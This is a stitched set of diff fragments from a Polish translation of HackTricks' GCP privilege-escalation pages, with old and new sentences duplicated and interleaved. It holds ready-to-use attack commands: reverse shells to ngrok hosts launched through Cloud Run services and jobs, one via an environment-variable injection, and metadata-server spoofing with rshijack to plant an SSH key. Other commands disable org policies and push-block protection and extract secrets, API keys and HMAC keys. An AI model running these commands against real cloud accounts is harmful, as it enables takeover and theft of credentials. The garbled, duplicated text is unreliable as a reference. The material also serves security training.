Ta wersja rshijack pozwala podać liczby ACK i SEQ jako argumenty w linii poleceń, ułatwiając podszycie się pod odpowiedź przed rzeczywistą odpowiedzią serwera Metadata. Dodatkowo używany jest [**mały skrypt Shell**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) do zwrócenia **specjalnie spreparowanego ładunku**. Ten ładunek powoduje, że Google Guest Agent **tworzy użytkownika `wouter`** z określonym kluczem publicznym w pliku `.authorized_keys`.
Skrypt używa tego samego ETag, aby zapobiec natychmiastowemu powiadomieniu agenta gościa Google o różnych wartościach metadanych, opóźniając tym samym odpowiedź.
Skrypt używa tego samego ETag, aby uniemożliwić serwerowi Metadata natychmiastowe powiadomienie Google Guest Agent o innych wartościach metadanych, opóźniając w ten sposób odpowiedź.
Aby wykonać spoofing, konieczne są następujące kroki:
Aby przeprowadzić podszycie, konieczne są następujące kroki:
1. **Monitoruj żądania do serwera metadanych** używając **tcpdump**:
1. **Monitoruj żądania do serwera Metadata** używając **tcpdump**:
<details>
<summary>Monitoruj żądania do serwera Metadata za pomocą tcpdump</summary>
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
</details>
Szukaj linii podobnej do:
<details>
<summary>Przykładowa linia wyjściowa tcpdump</summary>
```
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
```
2. Wyślij fałszywe dane metadanych z poprawnym ETAG do rshijack:
</details>
2. Wyślij fałszywe metadane z poprawnym ETAG do rshijack:
<details>
<summary>Wyślij fałszywe metadane i połącz się przez SSH z hostem</summary>
```bash
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
Ten krok autoryzuje klucz publiczny, umożliwiając połączenie SSH z odpowiadającym mu kluczem prywatnym.
</details>
## References
Ten krok autoryzuje public key, umożliwiając połączenie SSH przy użyciu odpowiadającego private key.
## Referencje
- [https://www.ezequiel.tech/2020/08/dropping-shell-in.html](https://www.ezequiel.tech/2020/08/dropping-shell-in.html)
- [https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
@@ -6,7 +6,10 @@
### `orgpolicy.policy.set`
Atakujący wykorzystujący **orgpolicy.policy.set** może manipulować politykami organizacyjnymi, co pozwoli mu usunąć niektóre ograniczenia utrudniające wykonywanie określonych operacji. Na przykład ograniczenie **appengine.disableCodeDownload** zwykle blokuje pobieranie kodu źródłowego App Engine. Jednak używając **orgpolicy.policy.set**, atakujący może dezaktywować to ograniczenie, uzyskując w ten sposób dostęp do pobrania kodu źródłowego, mimo że początkowo był on chroniony.
Atakujący wykorzystujący **orgpolicy.policy.set** może manipulować politykami organizacji, co pozwoli mu usunąć pewne ograniczenia utrudniające wykonywanie określonych operacji. Na przykład ograniczenie **appengine.disableCodeDownload** zwykle blokuje pobieranie kodu źródłowego App Engine. Jednak używając **orgpolicy.policy.set**, atakujący może dezaktywować to ograniczenie, uzyskując w ten sposób dostęp do pobrania kodu źródłowego, mimo że początkowo był on chroniony.
<details>
<summary>Pobierz informacje o org policy i wyłącz egzekwowanie</summary>
```bash
# Get info
gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --organization <id> | --project <id>]
@@ -14,13 +17,18 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
# Disable
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
```
Skrypt Pythona dla tej metody można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
</details>
Skrypt python dla tej metody znajduje się [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
### `orgpolicy.policy.set`, `iam.serviceAccounts.actAs`
Zwykle nie można przypisać service account z innego projektu do zasobu, ponieważ istnieje narzucone ograniczenie polityki o nazwie **`iam.disableCrossProjectServiceAccountUsage`**, które uniemożliwia tę akcję.
Zazwyczaj nie można przypisać service account z innego projektu do zasobu, ponieważ obowiązuje ograniczenie polityki o nazwie **`iam.disableCrossProjectServiceAccountUsage`**, które zapobiega tej akcji.
Można sprawdzić, czy to ograniczenie jest egzekwowane, uruchamiając następujące polecenie:
Można sprawdzić, czy to ograniczenie jest egzekwowane, wykonując następujące polecenie:
<details>
<summary>Weryfikacja ograniczenia użycia service account między projektami</summary>
```bash
gcloud resource-manager org-policies describe \
constraints/iam.disableCrossProjectServiceAccountUsage \
@@ -31,14 +39,21 @@ booleanPolicy:
enforced: true
constraint: constraints/iam.disableCrossProjectServiceAccountUsage
```
To zapobiega nadużyciu przez atakującego uprawnienia **`iam.serviceAccounts.actAs`** do podszywania się pod service account z innego projektu bez dodatkowych uprawnień infrastruktury, np. do uruchomienia nowej VM, co mogłoby prowadzić do eskalacji uprawnień.
</details>
Jednak atakujący posiadający uprawnienia **`orgpolicy.policy.set`** może obejść to ograniczenie, wyłączając constraint **`iam.disableServiceAccountProjectWideAccess`**. Pozwala mu to przypisać service account z innego projektu do zasobu w swoim projekcie, skutecznie eskalując swoje uprawnienia.
To uniemożliwia atakującemu nadużycie uprawnienia **`iam.serviceAccounts.actAs`** w celu podszycia się pod service account z innego projektu bez koniecznych dodatkowych uprawnień infra — np. do uruchomienia nowej VM — co mogłoby prowadzić do eskalacji uprawnień.
Jednak atakujący posiadający uprawnienia **`orgpolicy.policy.set`** może obejść to ograniczenie, wyłączając constraint **`iam.disableServiceAccountProjectWideAccess``**. Pozwala to atakującemu przypisać service account z innego projektu do zasobu w swoim własnym projekcie, skutecznie eskalując swoje uprawnienia.
<details>
<summary>Wyłącz ograniczenie przypisywania service account między projektami</summary>
```bash
gcloud resource-manager org-policies disable-enforce \
iam.disableCrossProjectServiceAccountUsage \
--project=<project-id>
```
</details>
## Źródła
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
@@ -4,7 +4,7 @@
## Cloud Run
Aby uzyskać więcej informacji o Cloud Run, sprawdź:
Aby uzyskać więcej informacji o Cloud Run sprawdź:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,15 +12,18 @@ Aby uzyskać więcej informacji o Cloud Run, sprawdź:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Atakujący z tymi uprawnieniami może **utworzyć usługę run, która uruchamia dowolny kod** (dowolny kontener Docker), dołączyć do niej konto usługi i sprawić, by kod **wyekstrahował token konta usługi z metadanych**.
Atakujący posiadający te uprawnienia może **create a run service running arbitrary code** (dowolny kontener Docker), przypisać do niego Service Account i sprawić, że kod **exfiltrate the Service Account token from the metadata**.
Skrypt exploitujący dla tej metody można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py), a obraz Dockera można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Należy pamiętać, że przy użyciu `gcloud run deploy` zamiast po prostu tworzenia usługi **wymaga to uprawnienia `update`**. Sprawdź [**przykład tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Sprawdź [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Jak poprzedni, ale aktualizując usługę:
Podobnie jak poprzedni, ale aktualizuje usługę:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -36,13 +39,18 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
Przyznaj sobie wcześniejsze uprawnienia w chmurze Run.
Nadaj sobie odpowiednie uprawnienia do Cloud Run.
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Uruchom zadanie z odwróconym powłoką, aby ukraść konto usługi wskazane w poleceniu. Możesz znaleźć [**eksploit tutaj**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
Uruchom job z reverse shell, aby przejąć wskazany w poleceniu service account. Możesz znaleźć [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Utwórz Cloud Run job z reverse shell</summary>
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -52,9 +60,14 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Podobnie jak w poprzednim przypadku, możliwe jest **aktualizowanie zadania i aktualizowanie SA**, **wykonanie polecenia** i **jego uruchomienie**:
Podobnie jak w poprzednim przypadku, możliwe jest **zaktualizowanie joba i zmiana przypisanego SA**, umieszczenie **polecenia** i **jego uruchomienie**:
<details>
<summary>Update Cloud Run job and execute with reverse shell</summary>
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -64,17 +77,24 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
Przyznaj sobie wcześniejsze uprawnienia do Cloud Jobs.
Nadaj sobie poprzednie uprawnienia do Cloud Jobs.
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Wykorzystaj zmienne środowiskowe wykonania zadania, aby wykonać dowolny kod i uzyskać odwróconą powłokę do zrzucenia zawartości kontenera (kod źródłowy) oraz uzyskać dostęp do SA w metadanych:
Wykorzystaj zmienne env podczas wykonania zadania, aby wykonać dowolny kod i uzyskać reverse shell, zrzuc zawartość container (source code) oraz uzyskać dostęp do SA wewnątrz metadata:
<details>
<summary>Wykonaj zadanie Cloud Run przy użyciu environment variable exploitation</summary>
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
## Odniesienia
</details>
## Źródła
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -4,7 +4,7 @@
## secretmanager
Aby uzyskać więcej informacji na temat secretmanager:
Więcej informacji o secretmanager:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,12 +12,16 @@ Aby uzyskać więcej informacji na temat secretmanager:
### `secretmanager.versions.access`
To daje dostęp do odczytu sekretów z menedżera sekretów i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekrecie):
To daje dostęp do odczytu sekretów z secret manager i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekretach):
<details><summary>Pobierz wersję sekretu w postaci jawnej</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
Jako że jest to również technika po eksploatacji, można ją znaleźć w:
</details>
Ponieważ jest to także post exploitation technique, można ją znaleźć w:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -25,10 +29,14 @@ Jako że jest to również technika po eksploatacji, można ją znaleźć w:
### `secretmanager.secrets.setIamPolicy`
To daje ci dostęp do odczytu sekretów z menedżera sekretów, na przykład używając:
To daje dostęp do odczytu secrets z secret manager, na przykład używając:
<details><summary>Add IAM policy binding to secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,11 +4,11 @@
## serviceusage
Następujące uprawnienia są przydatne do tworzenia i kradzieży kluczy API, nie zapomnij o tym z dokumentacji: _Klucz API to prosty zaszyfrowany ciąg, który **identyfikuje aplikację bez żadnego podmiotu**. Są przydatne do uzyskiwania dostępu do **publicznych danych anonimowo** i są używane do **kojarzenia** żądań API z twoim projektem w celu kwotowania i **fakturowania**._
Niżej wymienione uprawnienia są przydatne do tworzenia i kradzieży API keys, nie jest to z dokumentacji: _API key to prosty zaszyfrowany ciąg, który **identyfikuje aplikację bez przypisanego podmiotu**. Są przydatne do **anonimowego dostępu do publicznych danych**, i są używane do **powiązania** żądań API z Twoim projektem w celach limitów i **rozliczeń**._
Dlatego z kluczem API możesz sprawić, że ta firma zapłaci za twoje korzystanie z API, ale nie będziesz w stanie podnieść uprawnień.
Dlatego mając API key możesz sprawić, że ta firma zapłaci za Twoje użycie API, ale nie będziesz w stanie eskalować uprawnień.
Aby poznać inne uprawnienia i sposoby generowania kluczy API, sprawdź:
Aby poznać inne uprawnienia i sposoby generowania API keys sprawdź:
{{#ref}}
gcp-apikeys-privesc.md
@@ -16,37 +16,45 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
Znaleziono niedokumentowane API, które można wykorzystać do **tworzenia kluczy API:**
Znaleziono nieudokumentowane API, które można użyć do **tworzenia API keys:**
<details><summary>Tworzenie API key przy użyciu nieudokumentowanego API</summary>
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
</details>
### `serviceusage.apiKeys.list`
Znaleziono kolejny niedokumentowany interfejs API do wyświetlania kluczy API, które zostały już utworzone (klucze API pojawiają się w odpowiedzi):
Odkryto kolejne nieudokumentowane API służące do listowania API keys, które zostały już utworzone (API keys pojawiają się w odpowiedzi):
<details><summary>Listowanie API keys przy użyciu nieudokumentowanego API</summary>
```bash
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
</details>
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
Dzięki tym uprawnieniom atakujący może włączyć i używać nowe usługi w projekcie. Może to pozwolić **atakującemu na włączenie usługi takiej jak admin lub cloudidentity**, aby spróbować uzyskać dostęp do informacji z Workspace, lub innych usług, aby uzyskać dostęp do interesujących danych.
Dzięki tym uprawnieniom atakujący może włączyć i używać nowych usług w projekcie. To może pozwolić **atakującemu na włączenie usług takich jak admin lub cloudidentity**, aby spróbować uzyskać dostęp do informacji Workspace lub innych usług w celu pozyskania interesujących danych.
## **References**
## **Źródła**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
<details>
<summary><strong>Wsparcie HackTricks i uzyskaj korzyści!</strong></summary>
<summary><strong>Wspieraj HackTricks i zyskaj korzyści!</strong></summary>
Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? A może chcesz mieć dostęp do **najświeższej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz, aby Twoja **firma była reklamowana w HackTricks**? albo chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
Odkryj [**The PEASS Family**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTs**](https://opensea.io/collection/the-peass-family)
Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
Zdobądź [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** mnie na **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks na githubie**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**Podziel się swoimi trikami, przesyłając PRy do** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Repozytoria Źródłowe
## Source Repositories
Aby uzyskać więcej informacji na temat Repozytoriów Źródłowych, sprawdź:
Aby uzyskać więcej informacji o Source Repositories sprawdź:
{{#ref}}
../gcp-services/gcp-source-repositories-enum.md
@@ -12,68 +12,80 @@ Aby uzyskać więcej informacji na temat Repozytoriów Źródłowych, sprawdź:
### `source.repos.get`
Dzięki temu uprawnieniu możliwe jest pobranie repozytorium lokalnie:
Z tym uprawnieniem możliwe jest pobranie repozytorium lokalnie:
<details><summary>Sklonuj repozytorium</summary>
```bash
gcloud source repos clone <repo-name> --project=<project-uniq-name>
```
</details>
### `source.repos.update`
Principal z tym uprawnieniem **będzie mógł pisać kod w repozytorium sklonowanym za pomocą `gcloud source repos clone <repo>`**. Należy jednak zauważyć, że to uprawnienie nie może być przypisane do niestandardowych ról, więc musi być nadane za pośrednictwem zdefiniowanej roli, takiej jak:
Podmiot z tym uprawnieniem **będzie w stanie zapisywać kod w repozytorium sklonowanym za pomocą `gcloud source repos clone <repo>`**. Należy jednak pamiętać, że tego uprawnienia nie można przypisać do ról niestandardowych, więc musi być nadane przez jedną z ról predefiniowanych, na przykład:
- Właściciel
- Edytor
- Administrator repozytoriów źródłowych (`roles/source.admin`)
- Autor repozytoriów źródłowych (`roles/source.writer`)
- Owner
- Editor
- Source Repository Administrator (`roles/source.admin`)
- Source Repository Writer (`roles/source.writer`)
Aby pisać, wystarczy wykonać standardowe **`git push`**.
Aby zapisać zmiany, wystarczy wykonać zwykły **`git push`**.
### `source.repos.setIamPolicy`
Dzięki temu uprawnieniu atakujący mógłby przyznać sobie poprzednie uprawnienia.
Z tym uprawnieniem atakujący mógłby nadać sobie poprzednie uprawnienia.
### Dostęp do sekretów
Jeśli atakujący ma **dostęp do sekretów**, w których przechowywane są tokeny, będzie mógł je ukraść. Aby uzyskać więcej informacji na temat dostępu do sekretu, sprawdź:
Jeśli atakujący ma **dostęp do sekretów**, w których przechowywane są tokeny, będzie mógł je ukraść. Aby uzyskać więcej informacji o tym, jak uzyskać dostęp do sekretu, sprawdź:
{{#ref}}
gcp-secretmanager-privesc.md
{{#endref}}
### Dodaj klucze SSH
### Dodawanie kluczy SSH
Możliwe jest **dodanie kluczy ssh do projektu repozytoriów źródłowych** w konsoli internetowej. Wysyła żądanie POST do **`/v1/sshKeys:add`** i można je skonfigurować w [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
W konsoli webowej można **dodać klucze SSH do projektu Source Repository**. Wykonuje to żądanie POST do **`/v1/sshKeys:add`** i można to skonfigurować w [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys)
Gdy twój klucz ssh jest ustawiony, możesz uzyskać dostęp do repozytorium za pomocą:
Gdy klucz SSH zostanie ustawiony, możesz uzyskać dostęp do repozytorium za pomocą:
<details><summary>Klonowanie repozytorium przez SSH</summary>
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
```
A następnie użyj poleceń **`git`** jak zwykle.
</details>
A następnie można używać poleceń **`git`** jak zwykle.
### Ręczne poświadczenia
Możliwe jest stworzenie ręcznych poświadczeń do uzyskania dostępu do Repozytoriów Źródłowych:
Możliwe jest utworzenie ręcznych poświadczeń, aby uzyskać dostęp do Source Repositories:
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
Klikając na pierwszy link, zostaniesz przekierowany do [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
Kliknięcie pierwszego linku przekieruje cię do [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3)
Co spowoduje wyświetlenie **okna autoryzacji Oauth**, aby uzyskać dostęp do **Google Cloud Development**. Będziesz potrzebować albo **poświadczeń użytkownika**, albo **otwartej sesji w przeglądarce**.
Co spowoduje wyświetlenie **Oauth authorization prompt** z prośbą o udzielenie dostępu do **Google Cloud Development**. Potrzebne będą więc albo **poświadczenia użytkownika**, albo **otwarta sesja w przeglądarce**.
To przeniesie cię na stronę z **skryptem bash do wykonania** i skonfigurowania ciasteczka git w **`$HOME/.gitcookies`**
Spowoduje to przejście do strony ze skryptem bash do wykonania i konfiguracją cookie git w **`$HOME/.gitcookies`**
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
Wykonując skrypt, możesz następnie używać git clone, push... i to zadziała.
Po uruchomieniu skryptu będziesz mógł używać git clone, push... i to zadziała.
### `source.repos.updateProjectConfig`
Dzięki temu uprawnieniu możliwe jest wyłączenie domyślnej ochrony Repozytoriów Źródłowych, aby nie przesyłać kodu zawierającego Klucze Prywatne:
Dzięki temu uprawnieniu można wyłącz domyślną ochronę Source Repositories, która uniemożliwia przesyłanie kodu zawierającego klucze prywatne:
<details><summary>Wyłączenie pushblock i modyfikacja konfiguracji pub/sub</summary>
```bash
gcloud source project-configs update --disable-pushblock
```
Możesz również skonfigurować inny temat pub/sub lub nawet całkowicie go wyłączyć:
Możesz także skonfigurować inny pub/sub topic lub nawet całkowicie go wyłączyć:
```bash
gcloud source project-configs update --remove-topic=REMOVE_TOPIC
gcloud source project-configs update --remove-topic=UPDATE_TOPIC
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Storage
Podstawowe informacje:
Basic Information:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,18 +12,18 @@ Podstawowe informacje:
### `storage.objects.get`
To uprawnienie pozwala na **pobieranie plików przechowywanych w Cloud Storage**. To potencjalnie pozwoli na eskalację uprawnień, ponieważ w niektórych przypadkach **wrażliwe informacje są tam przechowywane**. Ponadto, niektóre usługi GCP przechowują swoje informacje w bucketach:
To uprawnienie pozwala Ci **pobrać pliki zapisane w Cloud Storage**. Może to potencjalnie pozwolić na eskalację uprawnień, ponieważ w niektórych przypadkach **przechowywane są tam poufne informacje**. Co więcej, niektóre usługi GCP zapisują swoje dane w buckets:
- **GCP Composer**: Gdy tworzysz środowisko Composer, **kod wszystkich DAG-ów** będzie zapisany w **buckecie**. Te zadania mogą zawierać interesujące informacje w swoim kodzie.
- **GCR (Container Registry)**: **Obraz** kontenerów jest przechowywany w **bucketach**, co oznacza, że jeśli możesz czytać buckety, będziesz mógł pobierać obrazy i **szukać wycieków i/lub kodu źródłowego**.
- **GCP Composer**: Gdy utworzysz Composer Environment, **kod wszystkich DAGów** zostanie zapisany w **bucket**. Te zadania mogą zawierać interesujące informacje w swoim kodzie.
- **GCR (Container Registry)**: **obrazy** kontenerów przechowywane w **bucketach**, co oznacza, że jeśli możesz czytać buckety, będziesz w stanie pobrać obrazy i **wyszukać leaks i/lub kod źródłowy**.
### `storage.objects.setIamPolicy`
Możesz dać sobie uprawnienie do **wykorzystania dowolnego z wcześniejszych scenariuszy tej sekcji**.
To uprawnienie pozwala Ci **wykorzystać dowolny z powyższych scenariuszy opisanych w tej sekcji**.
### **`storage.buckets.setIamPolicy`**
Aby zobaczyć przykład, jak zmodyfikować uprawnienia za pomocą tego uprawnienia, sprawdź tę stronę:
Przykład pokazujący, jak modyfikować uprawnienia za pomocą tego uprawnienia, znajdziesz na tej stronie:
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
@@ -31,7 +31,9 @@ Aby zobaczyć przykład, jak zmodyfikować uprawnienia za pomocą tego uprawnien
### `storage.hmacKeys.create`
Funkcja "interoperacyjności" Cloud Storage, zaprojektowana do **interakcji między chmurami** jak z AWS S3, obejmuje **tworzenie kluczy HMAC dla kont serwisowych i użytkowników**. Atakujący może to wykorzystać, **generując klucz HMAC dla konta serwisowego z podwyższonymi uprawnieniami**, co pozwala na **eskalację uprawnień w Cloud Storage**. Chociaż klucze HMAC powiązane z użytkownikami można odzyskać tylko za pośrednictwem konsoli internetowej, zarówno klucze dostępu, jak i sekrety pozostają **wiecznie dostępne**, co pozwala na potencjalny dostęp do przechowywania kopii zapasowych. Z drugiej strony, klucze HMAC powiązane z kontem serwisowym są dostępne przez API, ale ich klucze dostępu i sekrety nie są dostępne po utworzeniu, co dodaje warstwę złożoności dla ciągłego dostępu.
Funkcja "interoperability" w Cloud Storage, zaprojektowana dla **cross-cloud interactions** (np. z AWS S3), obejmuje **tworzenie HMAC keys dla Service Accounts i użytkowników**. Atakujący może to wykorzystać, **generując HMAC key dla Service Account z podwyższonymi uprawnieniami**, tym samym **eskalując uprawnienia w Cloud Storage**. Podczas gdy HMAC keys powiązane z użytkownikami można odzyskać jedynie przez web console, zarówno access i secret keys pozostają **na stałe dostępne**, co pozwala na potencjalne przechowywanie zapasowego dostępu. Natomiast HMAC keys powiązane z Service Account są dostępne przez API, ale ich access i secret keys nie są możliwe do odzyskania po utworzeniu, co utrudnia ciągły dostęp.
<details><summary>Utwórz i użyj HMAC key for privilege escalation</summary>
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -61,54 +63,56 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
Inny skrypt exploitacyjny dla tej metody można znaleźć [tutaj](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
</details>
## `storage.objects.create`, `storage.objects.delete` = Uprawnienia do zapisu w Storage
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Aby **utworzyć nowy obiekt** w obrębie bucketu, potrzebujesz `storage.objects.create`, a zgodnie z [dokumentacją](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potrzebujesz również `storage.objects.delete`, aby **zmodyfikować** istniejący obiekt.
### `storage.objects.create`, `storage.objects.delete` = Storage — uprawnienia zapisu
Bardzo **częstym sposobem wykorzystania** bucketów, w których można pisać w chmurze, jest sytuacja, gdy **bucket przechowuje pliki serwera WWW**, możesz być w stanie **przechować nowy kod**, który będzie używany przez aplikację internetową.
Aby **utworzyć nowy obiekt** w bucketcie potrzebujesz `storage.objects.create` i, zgodnie z [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potrzebujesz też `storage.objects.delete`, aby **modyfikować** istniejący obiekt.
Bardzo **częstym sposobem eskalacji** przy bucketach, do których można zapisywać, jest sytuacja gdy **bucket przechowuje pliki serwera WWW** — możesz być w stanie **zapisać nowy kod**, który zostanie użyty przez aplikację webową.
### Composer
**Composer** to **Apache Airflow** zarządzany w GCP. Ma kilka interesujących funkcji:
**Composer** to zarządzany w GCP **Apache Airflow**. Ma kilka interesujących cech:
- Działa w obrębie **klastra GKE**, więc **SA, którego używa klaster, jest dostępny** dla kodu działającego w Composer
- Wszystkie komponenty środowisk composera (**kod DAG-ów**, wtyczki i dane) są przechowywane w bucketcie GCP. Jeśli atakujący ma uprawnienia do odczytu i zapisu, może monitorować bucket i **za każdym razem, gdy DAG jest tworzony lub aktualizowany, przesłać wersję z backdoorem**, aby środowisko composera pobrało z storage wersję z backdoorem.
- Działa wewnątrz **GKE cluster**, więc **SA używane przez klaster jest dostępne** dla kodu uruchamianego w Composer
